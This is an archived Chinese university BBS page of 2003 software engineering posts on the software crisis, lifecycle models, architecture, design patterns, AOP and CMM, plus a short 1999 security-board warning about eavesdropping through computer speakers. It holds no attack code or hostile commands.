ODL Object Description Language 对象描述语言 OMA Object Management Achitecture 对象管理体系结构 OMG Object Management Group 国际对象管理组织 OMG Object Managemnet Group 对象管理组织 OMT Object Modeling Technology 对象建模技术 OOSE Object Oriented Software Engineering 面向对象软件工程 ORB Object Request Broker 对象请求代理 OOA Object Oriented Analysis 面向对象分析 OOD Object Oriented Design 面向对象设计 OSF Open Software Foundation 开放软件基金会 POA Portable Object Adapter 易移植的对象适配器 POA Portable Object Adaptor 易移植对象适配器 RPC Remote Procedure Call 远程过程调用 RSEB Reuse-Driven Software Engineering Business 复用驱动的软件工程业务 SCM Service Control Manager 服务控制管理程序 shared aggregation 共享聚集 SPM Shared Property Manager 共享属性管理程序 SPICE Software Process Improvement and Capability dEtermine 软件过程改进与能 力确定 UML Unified Modeling Language 统一的建模语言 UUID Universally Unique Identifier 通用统一标识符 -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程概述(一) 发信站: 日月光华 (2003年04月09日12:35:23 星期三), 站内信件 概念：应需而生 软件工程是一类工程。工程是将理论和知识应用于实践的科学。就软件工程而言，它借 鉴了传统工程的原则和方法，以求高效地开发高质量软件。其中应用了计算机科学、数 学和管理科学。计算机科学和数学用于构造模型与算法，工程科学用于制定规范、设计 范型、评估成本及确定权衡，管理科学用于计划、资源、质量和成本的管理。 软件工程这一概念，主要是针对20世纪60年代“软件危机”而提出的。它首次出现在196 8年NATO（北大西洋公约组织）会议上。自这一概念提出以来，围绕软件项目，开展了有 关开发模型、方法以及支持工具的研究。其主要成果有：提出了瀑布模型，开发了一些 结构化程序设计语言（例如PASCAL语言，Ada语言）、结构化方法等。并且，围绕项目管 理提出了费用估算、文档复审等方法和工具。综观60年代末至80年代初，其主要特征是 ，前期着重研究系统实现技术，后期开始强调开发管理和软件质量。 70年代初，自“软件工厂”这一概念提出以来，主要围绕软件过程以及软件复用，开展 了有关软件生产技术和软件生产管理的研究与实践。其主要成果有：提出了应用广泛的 面向对象语言以及相关的面向对象方法，大力开展了计算机辅助软件工程的研究与实践 。尤其是近几年来，针对软件复用及软件生产，软件构件技术以及软件质量控制技术、 质量保证技术得到了广泛的应用。目前各个软件企业都十分重视资质认证，并想通过这 些工作进行企业管理和技术的提升。软件工程所涉及的要素可概括如下： 根据这一框架，可以看出：软件工程涉及了软件工程的目标、软件工程原则和软件工程 活动。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程概述(二) 发信站: 日月光华 (2003年04月09日12:35:50 星期三), 站内信件 目标：我的眼里只有“产品” 软件工程的主要目标是：生产具有正确性、可用性以及开销合宜的产品。正确性意指软 件产品达到预期功能的程度。可用性指软件基本结构、实现及文档为用户可用的程度。 开销合宜性是指软件开发、运行的整个开销满足用户要求的程度。这些目标的实现不论 在理论上还是在实践中均存在很多问题有待解决，它们形成了对过程、过程模型及工程 方法选取的约束。 软件工程活动是“生产一个最终满足需求且达到工程目标的软件产品所需要的步骤”。 主要包括需求、设计、实现、确认以及支持等活动。需求活动包括问题分析和需求分析 。问题分析获取需求定义，又称软件需求规约。需求分析生成功能规约。设计活动一般 包括概要设计和详细设计。概要设计建立整个软件体系结构，包括子系统、模块以及相 关层次的说明、每一模块接口定义。详细设计产生程序员可用的模块说明，包括每一模 块中数据结构说明及加工描述。实现活动把设计结果转换为可执行的程序代码。确认活 动贯穿于整个开发过程，实现完成后的确认，保证最终产品满足用户的要求。支持活动 包括修改和完善。伴随以上活动，还有管理过程、支持过程、培训过程等。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程概述(三) 发信站: 日月光华 (2003年04月09日12:36:31 星期三), 站内信件 框架：四项基本原则是基石 软件工程围绕工程设计、工程支持以及工程管理，提出了以下四项基本原则： 第一，选取适宜开发范型。该原则与系统设计有关。在系统设计中，软件需求、硬件需 求以及其他因素之间是相互制约、相互影响的，经常需要权衡。因此，必须认识需求定 义的易变性，采用适宜的开发范型予以控制，以保证软件产品满足用户的要求。 第二，采用合适的设计方法。在软件设计中，通常要考虑软件的模块化、抽象与信息隐 蔽、局部化、一致性以及适应性等特征。合适的设计方法有助于这些特征的实现，以达 到软件工程的目标。 第三，提供高质量的工程支持。“工欲善其事，必先利其器”。在软件工程中，软件工 具与环境对软件过程的支持颇为重要。软件工程项目的质量与开销直接取决于对软件工 程所提供的支撑质量和效用。 第四，重视开发过程的管理。软件工程的管理，直接影响可用资源的有效利用，生产满 足目标的软件产品，提高软件组织的生产能力等问题。因此，仅当软件过程得以有效管 理时，才能实现有效的软件工程。 这一软件工程框架告诉我们，软件工程的目标是可用性、正确性和合算性；实施一个软 件工程要选取适宜的开发范型，要采用合适的设计方法，要提供高质量的工程支撑，要 实行开发过程的有效管理；软件工程活动主要包括需求、设计、实现、确认和支持等活 动，每一活动可根据特定的软件工程，采用合适的开发范型、设计方法、支持过程以及 过程管理。根据软件工程这一框架，软件工程学科的研究内容主要包括：软件开发范型 、软件开发方法、软件过程、软件工具、软件开发环境、计算机辅助软件工程(CASE) 及 软件经济学等。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: MarkW (amour), 信区: Security 标 题: 专家警告计算机用户 当心互联网间谍窃听 发信站: 日月光华站 (Thu Dec 2 12:04:28 1999) , 站内信件 有关专家警告计算机用户 当心互联网间谍利用计算机用户的喇叭窃听用户的对话。据 称，目前已有一种神密编码，它可随电子邮件、节日贺卡、屏保画面等一起发送给计算 机用户，等打开这些附有秘密编码的信息后，秘密编码将进入计算机并能利用计算机喇 叭作为窃听器，使外面的间谍能听到用户的谈话。专家们指出，这项技术也可用于网络 摄像，摄像机可使互联网间谍非但能听到声音，还能看到计算机周围的一切。 -- 预感 心的感觉,不一样的感觉 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.3.224]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程概述(四) 发信站: 日月光华 (2003年04月09日12:36:49 星期三), 站内信件 作用：高效开发高质量软件 自从软件工程概念提出以来，经过30多年的研究与实践,虽然“软件危机”没得到彻底解 决，但在软件开发方法和技术方面已经有了很大的进步。尤其应该指出的是，自80年代 中期，美国工业界和政府部门开始认识到，在软件开发中，最关键的问题是软件开发组 织不能很好地定义和管理其软件过程，从而使一些好的开发方法和技术都起不到所期望 的作用。也就是说，在没有很好定义和管理软件过程的软件开发中，开发组织不可能在 好的软件方法和工具中获益。 根据调查，中国的现状几乎和美国10多年前的情况一样，软件开发过程没有明确规定， 文档不完整，也不规范，软件项目的成功往往归功于软件开发组的一些杰出个人或小组 的努力。这种依赖于个别人员上的成功并不能为全组织的软件生产率和质量的提高奠定 有效的基础，只有通过建立全组织的过程改善，采用严格的软件工程方法和管理，并且 坚持不懈地付诸实践，才能取得全组织的软件过程能力的不断提高。 这一事实告诉我们，只有坚持软件工程的四条基本原则，既重视软件技术的应用，又重 视软件工程的支持和管理，并在实践中贯彻实施，才能高效地开发出高质量的软件。 ——王立福 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] ※ 修改:·Microsoft 於 04月09日12:37:09 修改本文·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程内容概述(一) 发信站: 日月光华 (2003年04月09日12:39:19 星期三), 站内信件 软件定义 计算机系统是通过运行程序来实现各种不同的应用。把各种不同功能的程序，包括用户 为自己的特定目的编写的应用程序、检查和诊断机器系统的程序、支持用户应用程序运 行的系统程序、管理和控制机器系统资源的程序等通常称为软件。 比较公认的软件定义由以下三部分组成： 1. 在运行中能提供所希望的功能和性能的指令集（即程序）； 2. 使程序能够正确运行的数据结构； 3. 描述程序研制过程、方法所用的文挡。 软件的特点 软件的特点可归纳如下： 1．软件是一种逻辑实体，而不是具体的物理实体，因而它具有抽象性。 2．软件是通过人们的智力活动，把知识与技术转化成信息的一种产品，是在研制、 开发中被创造出来的。 3．在软件的运行和使用期间，没有硬件那样的机械磨损、老化问题。 4．软件的开发和运行经常受到计算机系统的限制，对计算机系统有着不同程度的依 赖性。在软件的开发和运行中必须以硬件提供的条件为基础。 5．软件的开发至今尚未完全摆脱手工的开发方式。 6．软件的开发费用越来越高，成本相当昂贵。 软件的分类 软件工程概念 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] ※ 修改:·Microsoft 於 04月09日12:39:32 修改本文·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程内容概述(二) 发信站: 日月光华 (2003年04月09日12:40:01 星期三), 站内信件 软件工程概念 软件危机与软件工程定义 1．软件危机 软件危机指的是软件开发和维护过程中遇到的一系列严重问题。 （1）软件危机的表现 "产品不符合用户的实际需要。 "软件开发生产率提高的速度远远不能满足客观需要，软件的生产率远远低于硬件生产率 和计算机应用的增长，使人们不能充分利用现代计算机硬件提供的巨大潜力。 "软件产品的质量差。 "对软件开发成本和进度的估计常常不准确。 "软件的可维护性差。 "软件文档资料通常既不完整也不合格。 "软件的价格昂贵，软件成本在计算机系统总成本中所占的比例逐年上升。 （2）产生软件危机的原因 "软件不同于硬件，它是计算机系统中的逻辑部件而不是物理部件。在写出程序代码 并在计算机上试运行之前，很难检验开发的正确性，而且软件开发的质量也较难评价。 软件不同于一般程序，它的一个显著特点是规模庞大。 "虽然软件本身独有的特点确实给开发和维护带来一些客观困难，但是人们在开发和使用 计算机系统的长期实践中，也确实积累和总结出了许多成功的经验。 "开发和管理人员只重视开发而轻视问题的定义，使软件产品无法满足用户的需求。 "软件管理技术不能满足现代软件开发的需要，没有统一的软件质量管理规范。 "在软件的开发与维护关系问题上存在错误的概念。 2．软件工程的定义 软件工程是指导计算机软件开发和维护的工程学科。采用工程的概念、原理、技术和方 法来开发与维护软件，把经过时间考验而证明正确的管理技术和当前能够得到的最好的 技术方法结合起来，这就是软件工程。 软件工程准则可以概括为如下六条基本原理。 （1）用分阶段的生存周期计划严格管理 （2）坚持进行阶段评审 （3）实行严格的产品控制 （4）采用现代程序设计技术 （5）结果应能清楚地审查 （6）合理安排软件开发小组的人员 软件工程的基本内容与目标 1．软件工程的基本内容 从内容上划分软件工程学可分为理论、结构、方法、工具、环境、管理、规范等。 2．软件工程学研究的基本目标 （1）定义良好的方法学，面向计划、开发维护整个软件生存周期的方法学。 （2）确定的软件成分，记录软件生存周期每一步的软件文件资料，按步显示轨迹。 （3）可预测的结果，在生存周期中，每隔一定时间可以进行复审。 软件工程学的最终目标是以较少投资获得易维护、易理解、可靠、高效率的软件产 品。 软件工程学是研究软件结构、软件设计与维护方法、软件工具与环境、软件工程标准与 规范 、软件开发技术与管理技术的相关理论。 软件工程的原则 为了开发出低成本高质量的软件产品，软件工程学应遵守以下基本原则： 1．分解 2．独立性 3．一致性 4．确定性 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Microsoft (.Net平台 & XBox), 信区: SE 标 题: 软件工程内容概述(三) 发信站: 日月光华 (2003年04月09日12:40:18 星期三), 站内信件 软件生存周期与软件开发模型 软件工程采用的生存周期方法就是从时间角度对软件的开发与维护这个复杂问题进行分 解，将软件生存漫长的时期分为若干阶段，每个阶段都有其相对独立的任务，然后逐步 完成各个阶段的任务。 1.1.1 软件生存周期 从前面的介绍中可以知道，一个软件从定义到开发、使用和维护，直到最终被废弃，要 经历一个漫长的时期，通常把软件经历的这个漫长的时期称为生存周期。软件生存周期 就是从提出软件产品开始，直到该软件产品被淘汰的全过程。 软件生存周期一般可分为以下阶段： ·问题定义 ·可行性研究 ·需求分析 ·设计 ·编码 ·测试 ·运行与维护 软件生存期也可以分为三个大的阶段：计划阶段。开发阶段和维护阶段。 (1)计划阶段 (2)开发阶段 (3)维护阶段 软件开发模型 为了反映软件生存周期内各种工作应如何组织及软件生存周期各个阶段应如何衔接，需 要用软件开发模型给出直观的图示表达。软件开发模型是软件工程思想的具体化，是实 施于过程模型中的软件开发方法和工具，是在软件开发实践中总结出来的软件开发方法 和步骤。总的说来，软件开发模型是跨越整个软件生存周期的系统开发、运行、维护所 实施的全部工作和任务的结构框架。 1．瀑布模型 2．螺旋模型 3．第四代技术模型 4．原型模型 5.构件组装模型 6．混合模型 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 202.112.11.199] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]1.软件工程的发展历史 jiachong 发信站: 日月光华 (2003年04月09日12:47:31 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 软件工程的发展历史 1.世界上第一个计算机程序员 　　第一个写软件的人是Ada（Augusta Ada Lovelace）,在1860年代她尝试为 Babbage（Charles Babbage）的机械式计算机写软件。尽管他们的努力失败了， 但他们的名字永远载入了计算机发展的史册。她的父亲就是那个狂热的，不趋 炎附势的激进诗人和冒险家拜伦。她本身也是一个光彩照人的人物--数学尖子 和某种程度上的赌徒。她最重要的贡献来自于与发明家Charles Babbage的合作 ，从而设计出世界上首批大型计算机--Difference Engine和Analytical Engine。她甚至认为如果有正确的指令，Babbage的机器可以用来作曲，这是 一个多么疯狂的想法，因为当时大多数人只把它看成是一个机械化算盘，而她 却有渲染力和感召力来传播她的思想。 2.现代计算机软件的出现 　　20世纪50年代，软件伴随着第一台电子计算机的问世诞生了。以写软件为职 业的人也开始出现，他们多是经过训练的数学家和电子工程师。1960年代美国大 学里开始出现授予计算机专业的学位，教人们写软件。 在计算机系统发展的初期，硬件通常用来执行一个单一的程序，而这个程序 又是为一个特定的目的而编制的。早期当通用硬件成为平常事情的时候，软件的 通用性却是很有限的。大多数软件是由使用该软件的个人或机构研制的，软件往 往带有强烈的个人色彩。早期的软件开发也没有什么系统的方法可以遵循，软件 设计是在某个人的头脑中完成的一个隐藏的过程。而且，除了源代码往往没有软 件说明书等文档。 3.软件危机 从60年代中期到70年代中期是计算机系统发展的第二个时期，在这一时期软 件开始作为一种产品被广泛使用，出现了“软件作坊”专职应别人的需求写软件。 这一软件开发的方法基本上仍然沿用早期的个体化软件开发方式，但软件的数量急 剧膨胀，软件需求日趋复杂，维护的难度越来越大，开发成本令人吃惊地高，而失 败的软件开发项目却屡见不鲜。“软件危机”就这样开始了！ 　　“软件危机”使得人们开始对软件及其特性进行更深一步的研究，人们改变了 早期对软件的不正确看法。早期那些被认为是优秀的程序常常很难被别人看懂，通 篇充满了程序技巧。现在人们普遍认为优秀的程序除了功能正确，性能优良之外， 还应该容易看懂、容易使用、容易修改和扩充。 1968年北大西洋公约组织的计算机科学家在联邦德国召开的国际学术会议上第 一次提出了“软件危机”(software crisis)这个名词。 概括来说，软件危机包含 两方面问题：一、如何开发软件，以满足不断增长，日趋复杂的需求；二、如何维 护数量不断膨胀的软件产品。 4.软件工程的提出 1968年秋季，NATO（北约）的科技委员会召集了近50名一流的编程人员、计算 机科学家和工业界巨头，讨论和制定摆脱“软件危机”的对策。在那次会议上第一 次提出了软件工程（software engineering）这个概念。 软件工程是一门研究如何用系统化、规范化、数量化等工程原则和方法去进行 软件的开发和维护的学科。软件工程包括两方面内容：软件开发技术和软件项目管 理。软件开发技术包括软件开发方法学、软件工具和软件工程环境。软件项目管理 包括软件度量、项目估算、进度控制、人员组织、配置管理、项目计划等。 5.传统软件工程 为迎接软件危机的挑战，人们进行了不懈的努力。这些努力大致上是沿着两个 方向同时进行的。 一是从管理的角度，希望实现软件开发过程的工程化。这方面最为著名的成果 就是提出了大家都很熟悉的“瀑布式”生命周期模型。它是在60年代末“软件危机” 后出现的第一个生命周期模型。如下所示： 分析 → 设计 → 编码 → 测试 → 维护 　　后来，又有人针对该模型的不足，提出了快速原型法、螺旋模型、喷泉模型等 对“瀑布式”生命周期模型进行补充。现在，它们在软件开发的实践中被广泛采用。 　　这方面的努力，还使人们认识到了文档的标准以及开发者之间、开发者与用户 之间的交流方式的重要性。一些重要文档格式的标准被确定下来，包括变量、符号 的命名规则以及原代码的规范格式。 　　软件工程发展的第二个方向，侧重与对软件开发过程中分析、设计的方法的研 究。这方面的重要成果就是在70年代风靡一时的结构化开发方法，即PO（面向过程 的开发或结构化方法）以及结构化的分析、设计和相应的测试方法。 软件工程的目标是研制开发与生产出具有良好的软件质量和费用合算的产品。 费用合算是指软件开发运行的整个开销能满足用户要求的程度，软件质量是指该软 件能满足明确的和隐含的需求能力有关特征和特性的总和。软件质量可用六个特性 来作评价，即功能性、可靠性、易使用性、效率、维护性、易移植性。 6.现代软件工程 软件不是纯物化的东西，其中包含着人的因素，于是就有很多变动的东西，不 可能像理想的物质生产过程，基于物理学等的原理来做。早期的软件开发仅考虑人 的因素，传统的软件工程强调物性的规律，现代软件工程最根本的就是人跟物的关 系，就是人和机器（工具、自动化）在不同层次的不断循环发展的关系。 面向对象的分析、设计方法（OOA和OOD）的出现使传统的开发方法发生了翻天 覆地的变化。随之而来的是面向对象建模语言（以UML为代表）、软件复用、基于组 件的软件开发等新的方法和领域。 与之相应的是从企业管理的角度提出的软件过程管理。即关注于软件生存周期 中所实施的一系列活动并通过过程度量、过程评价和过程改进等涉及对所建立的软 件过程及其实例进行不断优化的活动使得软件过程循环往复、螺旋上升式地发展。 其中最著名的软件过程成熟度模型是美国卡内基梅隆大学软件工程研究所（SEI） 建立的CMM（Capability Maturity Model），即能力成熟度模型。此模型在建立和 发展之初，主要目的是为大型软件项目的招投标活动提供一种全面而客观的评审依 据，而发展到后来，又同时被应用于许多软件机构内部的过程改进活动中。 --jiachong整理 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] ※ 修改:·jiachong 於 03月04日20:48:46 修改本文·[FROM: 218.79.59.90] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]2.结构化方法 jiachong 发信站: 日月光华 (2003年04月09日12:47:42 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 软件开发的发展过程中遭遇软件危机。编程人员没有规范，造成程序结 构混乱，随意性极大。结构化方法将程序流程归类，顺序、循环、分支等标 准程序结构被提出，并且将模块化概念引入软件开发领域，将特定的功能编 写成特定的程序模块，独立成块，从而使程序结构面貌焕然一新。 这方面的第一个重要成果就是在70年代风靡一时的结构化开发方法，即 PO（面向过程的开发或结构化方法）。 PO是人们在用计算机世界来表达现实 世界时，追求过程话、模块化、封装以及更高的抽象的结果。 人们用计算机 来映射现实世界时，最底层的实现无非是靠数字电路技术产生的高电平与低电 平信号。用数学的语言来表示，就是像010101000010111 这样的二进制串。这 样的抽象层次是极低的，远离了自然语言，对一般人是不可理解的。人们把这 些二进制串分块定义，提出了字节、ASCII码这样的更高抽象层次的概念，使 之对应于自然语言的一个个字母。在此基础再借助某种形式语言，抽象出变 量、表达式、运算、语句等概念。在这个层面上，一般经过训练的程序员已 经可以比较不那么痛苦地进行软件开发了。下一步的抽象就产生了PO。 在 PO中，人们关注的是如何用函数和过程来实现对现实世界的模拟，将其映射 到计算机世界之中。 与此同时，结构化的分析、设计和相应的测试方法也相继提出，软件生 命周期的概念也在逐步完善和发展中。这为软件产品的研制开发开创了工程 化的良好局面。 上世纪八九十年代，面向对象方法的发展起来，原有结构化方法中面向过 程的概念逐步被OO取代。OO是这种抽象层次不断提高的过程的自然发展结果， 它采用类和对象的概念，把变量以及对变量进行操作的函数和过程封装在一 起，用这种更高一级的抽象来表达客观世界。通常，一个对象包含一些属性 和方法，它对应于自然语言中一个有意义的名词，描述了现实世界中的一个 物体（物理实体）或概念（抽象实体）。 --wyj整理 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] ※ 修改:·jiachong 於 03月04日20:49:08 修改本文·[FROM: 218.79.59.90] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]3.软件构架（Software Architecture）篇 jiachong 发信站: 日月光华 (2003年04月09日12:47:52 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 软件工程之--软件构架（Software Architecture）篇 软件构架研究的起源可以追溯到1968年，Dijkstra提出的软件系统的结构性分析方 法可以看作人们对于软件构架的最早的探索。几十年以来，随着软件产品规模的不断扩 大，工厂化软件开发技术的不断发展，产品族和流水线的出现，软件构架越来越成为人 们关注的热点。 软件构架是软件系统的高层描述，它给出了关于软件系统组织结构的一系列重要决 策，包括系统组成的结构性构件，这些组成构件之间的接口，构件相对系统其他部分的 可见行为，以及为了达到系统预定的功能构件之间所采取的交互和协作关系。它是指导 整个系统的设计和演化的原则。 软件构架是早期设计决策的体现，而且在整个开发周期中不断演进，软件构架对于 软件质量（功能属性、非功能属性）都有重要影响，构架是风险承担者进行交流的手段 ，是可传递可重用的模型。 多年以来，人们在软件开发过程中积累了丰富的构架知识，形成了各具风格的特定 的构架风格，这些构架风格为高层次的软件复用技术建立了坚实的基础：例如，C/S构 架、管道/过滤器构架、分层构架、解释器构架、黑板构架等等。而各种分布式组件技 术如DCOM, EJB, Web-Services也都和软件构架密切相关。 长期以来，人们一直在努力软件构架更加精确的形式化描述，力图用一种类似于某 种编程语言的形式来描述软件构架，例如：Rapide, Wright, Aesop, UniCon, ACME等 等。XML描述与软件建模UML技术的发展为软件构架描述语言注入了新的发展思路，新一 代的构架描述语言例如：xArch,xADL等都充分应用了这些新的描述手段的特点。同时， 伴随着构架描述技术的进步，构架评估等研究也在不断的深入。 从不同的角度观察，软件构架可以分为概念构架、模块构架、代码构架、运行构架 等多种构架视图。 一般基于构架的开发过程如下所示： 1．为软件系统构建一个商业案例。 2．弄清系统需求。 3．构建或者选用构架。 4．正确表述此构架，并与有关方面进行交流。 5．对此构架进行分析和评价。 6．根据此构架实现软件系统。 7．保证系统实现符合构架的要求。 软件构架的理论与实践的发展是密不可分的。人们总是在不断地总结自己在构架开 发方面的经验，对经验进行理论化的整理，而构架理论本身大大促进了构架实践的进步。 近年来，构架与模式的概念已经深入人心，各项软件开发技术的发展中都融入了构架与 模式的概念，软件构架无疑将为软件质量的改善、软件开发风险的降低提供一条蹊径。 --gill整理 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]4.设计模式 jiachong 发信站: 日月光华 (2003年04月09日12:48:00 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 软件工程之——设计模式篇 Christopher Alexander 在《建筑学的永恒方法》中，严谨的定义了术 语——模式。 1.每个模式是一个由三部分组成的规则，它表示了一个特定环境、一个 问题和一个解决方案之间的关系。 2.作为语言的一个元素，一个模式是一个说明，它说明了如何使用这个 空间配置，不断求解给定的强制条件体系，只要环境是和它相关的。 3.简单的说，模式是在同一时间里发生在世界上的一件事物和如何创建 这个事务以及我们何时必须创建它的规则。它既是一个过程，又是一个事物； 既是一个活生生的事务的描述，又是产生那个事务的过程描述。 模式关注着在一个特定的设计环境中出现的重复设计问题，并为该问题 提供一个通用的解决方案，模式记录着已经成功实践的设计经验，是一种设 计抽象技术，推动了软件复用技术在更高抽象粒度上的发展，同时大大提高 了软件质量属性。例如：Java语言的实现机制中，就广泛地采用了一些著名 的设计模式。 根据模式的抽象的粒度的从大到小，软件模式一般可以分为：构架模式、 设计模式和惯用模式三种。 构架模式描述了软件的系统构架级别上的组织方案，著名的构架模式有 层模式、管道过滤器模式，模型/视图/控制模式，代理模式，客户机/服务器 模式等等。 设计模式是一个组件粒度上、中等规模的模式，它不会影响整个软件构 架，但是对于子系统/组件的质量有着很大的影响。著名的设计模式有：代理 模式，策略模式，工厂模式，组合模式等等。 惯用模式则用来解决某种程序设计语言中具体实现的模式。如：引用计 数，单件模式等等。 四位著名的领军人物——模式团体的“四人帮”Erich Gamma, Richard Helm,Ralph Johnson和John Vlissides为模式在软件工程的重要地位和取得 广泛共识做出了巨大的贡献。此后，Robert Martin, Peter Coad也在致力于 模式方面的工作。如今模式的研究已经有了丰硕的成果，大家可以看到前人 已经总结的大量的成熟的设计模式，并且可以方便的将这些模式与模式理念 应用在各种软件产品中。我们可以这样断定，一位软件开发人员，如果不懂 模式并且在开发过程中不知道将模式合理应用在程序中的话，这位开发人员 的程序将永远不能登入大雅之堂。 --gill整理 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] ※ 修改:·jiachong 於 03月04日20:51:42 修改本文·[FROM: 218.79.59.90] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]5.从OOP到AOP jiachong 发信站: 日月光华 (2003年04月09日12:48:08 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 从OOP到AOP 面向对象技术很好地解决了软件系统中角色划分的问题。借助于面向对象的分析、 设计和实现技术，开发者可以将问题领域的“名词”转换成软件系统中的对象，从而很 自然地完成从问题到软件的转换。面向对象的编程方式（OOP）使我们可以把系统看作是 一批相互合作的对象。类允许我们把实现细节隐藏在接口下。多态性为相关概念提供公 共的行为和接口，并允许特定的组件在无需访问基础实现的前提下改变特定行为。 但是OOP不能很好地处理横越多个模块的行为。例如需要对系统中的某些方法进行日 志记录，这种需要记录方法散布在40多个类中。最直接的办法就是：创建一个超类（或 接口），将日志的功能放在其中，并让所有需要日志功能的类继承这个超类（或接口） 。这样大的修改量，无疑会增加出错的几率，并且加大系统维护的难度。 因此， 面向方面的编程（A s p e c t - O r i e n t e d Programming，AOP）应 运而生。AOP为开发者提供了一种描述横切关注点的机制，并能够自动将横切关注点织入 到面向对象的软件系统中，从而实现了横切关注点的模块化。通过划分Aspect代码，横 切关注点变得容易处理。开发者可以在编译时更改、插入或除去系统的Aspect，甚至重 用系统的Aspect。更重要的是，AOP可能对软件开发的过程造成根本性的影响。我们可以 想象这样一种情况：OOP只用于表示对象之间的泛化-特化（generalization-specializ ation）关系（通过继承来表现），而对象之间的横向关联则完全用AOP来表现。这样， 很多给对象之间横向关联增加灵活性的设计模式（例如Decorator、Role Object等）将 不再必要。 目前AOP已经有了Java语言的实现——AspectJ。这个工具提供了一整套的语法，能 够清楚地描述横切关注点，并将其织入到Java源代码中。织入后的代码仍是标准Java代 码，因此AspectJ不会影响Java的移植能力。关于AspectJ，读者可以在http://www.asp ectj.org找到更多的信息。 --Amineer整理 -- 这个世界总会有点不公正 但是我们总能用心去平衡 ※来源:·日月光华 bbs.fudan.edu.cn·FROM:[甲虫窝] ※ 修改:·jiachong 於 03月04日20:51:20 修改本文·[FROM: 218.79.59.90] -- ※ 转载:·日月光华 bbs.fudan.edu.cn·[FROM: 61.170.202.109] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- SE精华区文章阅读 -------------------------------------------------------------------------------- 发信人: jiachong (甲虫), 信区: SE 标 题: [转载]6.CMM jiachong 发信站: 日月光华 (2003年04月09日12:48:14 星期三), 站内信件 【 以下文字转载自 SE 讨论区 】 【 原文由 jiachong 所发表 】 软件工程之——CMM篇 20世纪八十年代开始起，在美国防部的资助下，SEI开始逐步提出并不断完善软件能 力成熟度模型( software capability maturity model)理论与标准。该成果到90年代已 经得到很多国家的业界承认并广泛应用，目前已经成为评估一个企业软件过程成熟度能 力的重要标准，成为指导企业进行过程改进的重要工具。 CMM是一个动态的、逐步演化的、指导企业软件过程改进的框架，它能够帮助企业逐 步摆脱杂乱无章、不成熟的软件过程，使得企业能够一步一步从定性到定量的对软件开 发过程进行监控和审计，这与工业界广泛实施的ISO静态标准有着明显的区别，体现了软 件产业的特殊性质。 软件过程能力是企业在实施某种软件开发过程以后，能够达到的开发能力、结果的 度量。根据企业软件过程的成熟度级别，CMM将目前的成熟度划分成以下五级： 1） 